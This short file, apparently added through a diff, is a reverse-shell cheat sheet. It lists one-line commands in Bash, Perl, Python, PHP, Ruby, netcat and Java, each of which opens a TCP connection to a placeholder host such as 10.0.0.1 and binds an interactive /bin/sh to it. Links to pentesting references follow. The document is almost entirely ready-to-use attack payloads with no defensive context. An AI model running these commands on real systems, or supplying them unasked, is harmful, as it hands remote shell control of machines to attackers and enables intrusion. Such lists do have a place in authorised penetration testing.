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+
+Shell cheatsheet
+================
+
+Bash
+bash -i >& /dev/tcp/HOST/PORT 0>&1?
+
+Perl 
+perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
+
+Python
+python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
+
+PHP
+php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
+
+Ruby
+ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
+
+nc
+nc -e /bin/sh 10.0.0.1 1234
+
+Java
+r = Runtime.getRuntime()
+p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
+p.waitFor()
+
+More info and tips
+http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
+http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387
+http://unix.stackexchange.com/questions/116010/meaning-of-bash-i-dev-tcp-host-port-01
+